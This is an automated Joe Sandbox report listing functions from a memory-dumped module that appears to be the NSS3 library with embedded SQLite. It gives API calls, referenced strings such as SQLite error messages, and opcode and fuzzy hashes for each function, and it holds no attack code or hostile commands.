Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 34f2328a8e1ccdb30b831270979f10dc7697668050e796b0fc9dc323cec97ff7
Instruction ID: daefc3e9f0b38400c6a9a7e702b80e31e8903631685b884f034bbfcfabe5c90e
Opcode Fuzzy Hash: 34f2328a8e1ccdb30b831270979f10dc7697668050e796b0fc9dc323cec97ff7
Instruction Fuzzy Hash: FE72AE70E042058FDB14CF68D884BAABBF1FF4D308F1981ADD9149BB52D775A886DB90

Function 6CC09C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CADC52B), ref: 6CC09D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC0A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC0A114

Strings

%s at line %d of [%.10s], xrefs: 6CC0A02E, 6CC0A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC0A01F, 6CC0A0E4, 6CC0A0FE
database corruption, xrefs: 6CC0A029, 6CC0A108

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: a3f0380111746465debf3d23338c99430089a26d32fabc7015afa15aede2a4be
Instruction ID: 8ca74a4425b00980cb66e705426cba02b2f8be1de13b372621acf759f492171b
Opcode Fuzzy Hash: a3f0380111746465debf3d23338c99430089a26d32fabc7015afa15aede2a4be
Instruction Fuzzy Hash: B3229E717083419FC704CF2AC49072AB7E1BFCA748F148A6DE9DA97A51E736D846CB42

Function 6CC29D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CAE8637,?,?), ref: 6CC29E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CAE8637), ref: 6CC29ED6

Strings

%s at line %d of [%.10s], xrefs: 6CC29ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC29EC0
database corruption, xrefs: 6CC29ECA

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 5a7bc4b3727c34f578f099fbb8a4810f955f23a0a400c9afb5845ca757c26f07
Instruction ID: 0923188a0edab6a66ded2922129bbf06e70b56b178b92b6f5d8db5d4c218882f
Opcode Fuzzy Hash: 5a7bc4b3727c34f578f099fbb8a4810f955f23a0a400c9afb5845ca757c26f07
Instruction Fuzzy Hash: 7F81A171B012058FCB14CFAAC980ADEB7F6EF48304B158569E816ABB51FB34ED45CB91

Function 6CC37F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC381BC

Strings

out of memory, xrefs: 6CC3835B
BINARY, xrefs: 6CC38126

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: c48ebd46b478cfa4f87b460d9770b3cd44e30337528624a4626ac76e00619490
Instruction ID: 7e3a9bf3facbb802aa7de5342cf63dec8457a037240c87ab2f110f99fd404531
Opcode Fuzzy Hash: c48ebd46b478cfa4f87b460d9770b3cd44e30337528624a4626ac76e00619490
Instruction Fuzzy Hash: 07529F71E05228CFDB04CF99D890B9DBBB2FF48318F15915AE819EB751E730A846CB90

Function 6CBB9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBB9ED6

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CBB9EE4

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBB9F38

Part of subcall function 6CBBD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CBB9F0B), ref: 6CBBD03B
Part of subcall function 6CBBD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CBBD04E
Part of subcall function 6CBBD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CBBD07B
Part of subcall function 6CBBD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CBBD08E
Part of subcall function 6CBBD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBBD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBB9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CBB9F59

Part of subcall function 6CBB9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CBB9C5B), ref: 6CBB9D82
Part of subcall function 6CBB9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CBB9C5B), ref: 6CBB9DA9
Part of subcall function 6CBB9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CBB9C5B), ref: 6CBB9DCE
Part of subcall function 6CBB9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CBB9C5B), ref: 6CBB9E43

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2897492401ace235d80be37282de3b66a7a6233f5548814bed85938eab19d820
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 9A11E9A5F042825BEB109A659C00BBEB264EFA435CF140135E40AA7740FF71F9598292

Function 6CC6CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC6D086
PR_Malloc.NSS3(00000001), ref: 6CC6D0B9
PR_Free.NSS3(?), ref: 6CC6D138

Strings

>, xrefs: 6CC6CF5B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: e27bfdb671258f67f9d2ad38cf0b65c680559a537379a64c40062c0394516955
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 69D16862B456460BEF14487F8EE03EA77A39782374F784329D162CBFE5F65988838341

Function 6CC0AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1bee2c4cc45190dfcb72bd231b43944afa4bf9508db16902940e5644132053d
Instruction ID: f0039dc4fb97c761d775dd8519ce25e2231ccb56332fe7308b32a64cd86c4ec2
Opcode Fuzzy Hash: a1bee2c4cc45190dfcb72bd231b43944afa4bf9508db16902940e5644132053d
Instruction Fuzzy Hash: 83F1DE71F012568FDB04CFA9E9583AE77B0AB8A308F15422DC905D7B50FB7599A2CBC1

Function 6CBFDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CAD5001,?,00000003,00000000), ref: 6CBFDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CAD5001,?), ref: 6CBFE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CAD5001,?), ref: 6CBFE2DA

Strings

W, xrefs: 6CBFE111

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 66b366463dad2e233086a7cb2a94cd1039d5023dd3e0691fdadc45e6f9a5f0bf
Instruction ID: b79c382c0bccd3abf7b15b42b1fabe78efb64660b0977c1ee1931eae46bbab5a
Opcode Fuzzy Hash: 66b366463dad2e233086a7cb2a94cd1039d5023dd3e0691fdadc45e6f9a5f0bf
Instruction Fuzzy Hash: FEC12971A442D58FDB05CE2A84907BE77B2EF86308F184169DC799BB41E731A90BC7D1

Function 6CAE6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CAE7067
unordered*, xrefs: 6CAE702B
sz=[0-9]*, xrefs: 6CAE7049
*?[, xrefs: 6CAE7034, 6CAE7052, 6CAE7070

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 7203608056923f5b0c0e1ec10a9d7c0d2fdfc54579b55e3e87bd0b168872ce86
Instruction ID: 4225e35e7c3181b430593e9f4578f6a47d960ec03ab83b66d27eb3277c3d4ca2
Opcode Fuzzy Hash: 7203608056923f5b0c0e1ec10a9d7c0d2fdfc54579b55e3e87bd0b168872ce86
Instruction Fuzzy Hash: 16718C32F042554BEB148E6DC8903AE73A29F8D314F290278C959EBBD2E7719CC697C1

Function 6CB03EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CB0463F
sqlite_, xrefs: 6CB03FAA, 6CB04185
sqlite_temp_master, xrefs: 6CB0460F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 74ffb021b04319a668469d8a797278c54e7acff3995d9c0f9604c9cb252020e7
Instruction ID: 12b3be99416db984e606681652cf35f87f2fbb7d79e017a43b23a78f16818b98
Opcode Fuzzy Hash: 74ffb021b04319a668469d8a797278c54e7acff3995d9c0f9604c9cb252020e7
Instruction Fuzzy Hash: 3C223A31B491D54FD7058B2A80606ABBFF2EF66318B6855ACC9E15FA42D631EC81CF81

Function 6CC3BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CC3C0B6

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 5e0e9f204f1cc9f690ab8a09dbe0acd89a4bc541025687ca736c0389a93c34cb
Instruction ID: dcbd2080a98aa255952ae0228e30f8ea6e3a1242dfd36344e8ecd2f2b00fe8f4
Opcode Fuzzy Hash: 5e0e9f204f1cc9f690ab8a09dbe0acd89a4bc541025687ca736c0389a93c34cb
Instruction Fuzzy Hash: 8992B474E002698FDB05DF59D890BAEB7B2FF88308F185258D419A7B91E735DC46CB50

Function 6CAD3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CAD3EA9

Strings

0, xrefs: 6CAD3DAB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 0806c236a7227dcd415c11534520a4f90475940cd1219ac7f2878e96fe233881
Instruction ID: a37854769ffcb992669e7ffaa2474d43cf1ade899f19432b1620402668442ad6
Opcode Fuzzy Hash: 0806c236a7227dcd415c11534520a4f90475940cd1219ac7f2878e96fe233881
Instruction Fuzzy Hash: AE515A31E4B07A8ADB158A7E88603FFBBF19B42714F1E4329C5E16BAC1DA34558587D0

Function 6CB7EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CB7F0F9

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 1197362484c755191fb6d41ea088c67d8c3f298d7737fb9f068a6ea66e0bd965
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: F8918071A0465A8FCB24CF68C8916AEB7F1FF85324F24462DD972A7BC0D730A905CB61

Function 6CBA2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CBC7929), ref: 6CBA2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CBC7929), ref: 6CBA2FE0

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 9fcf29d88a1e0fcaaa5f38f1a54dd62ce8b8004c5d0bb0b37dfb1f29e95c2426
Instruction ID: bd66c67dbaa7926f2c0732e25b4ec1ae7822bb73f5e587ee78e650de26296054
Opcode Fuzzy Hash: 9fcf29d88a1e0fcaaa5f38f1a54dd62ce8b8004c5d0bb0b37dfb1f29e95c2426
Instruction Fuzzy Hash: 6051F871A0C9918FD724CED6C880B6AB3B9FF45318F294129D9899BB01D735E947CB82

Function 6CBC0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CBC1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CBC1086

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 7883e9889a5a5a54d18c9da99a0e642cafb9c9701238b58aeb88731055327a2f
Instruction ID: 22f704a0493a82cdcab47ef328c7613f17513f525168e96d7bbe62e4803f5b10
Opcode Fuzzy Hash: 7883e9889a5a5a54d18c9da99a0e642cafb9c9701238b58aeb88731055327a2f
Instruction Fuzzy Hash: 4BA13CB1F0129A9FCF08CF99D890AEEB7B6FF48314B148129E915A7700D735AD51CBA1

Function 6CAEAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CAEAE18
winUnlockReadLock, xrefs: 6CAEAE9F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 09d6647820ebc13fa0a7969a5a1a01ef6564451edef5f171e260e0c4a101175e
Instruction ID: e930538ed14ef658e9ebe5ecc888885fc88effad75e631be1b366cbdb63c56f4
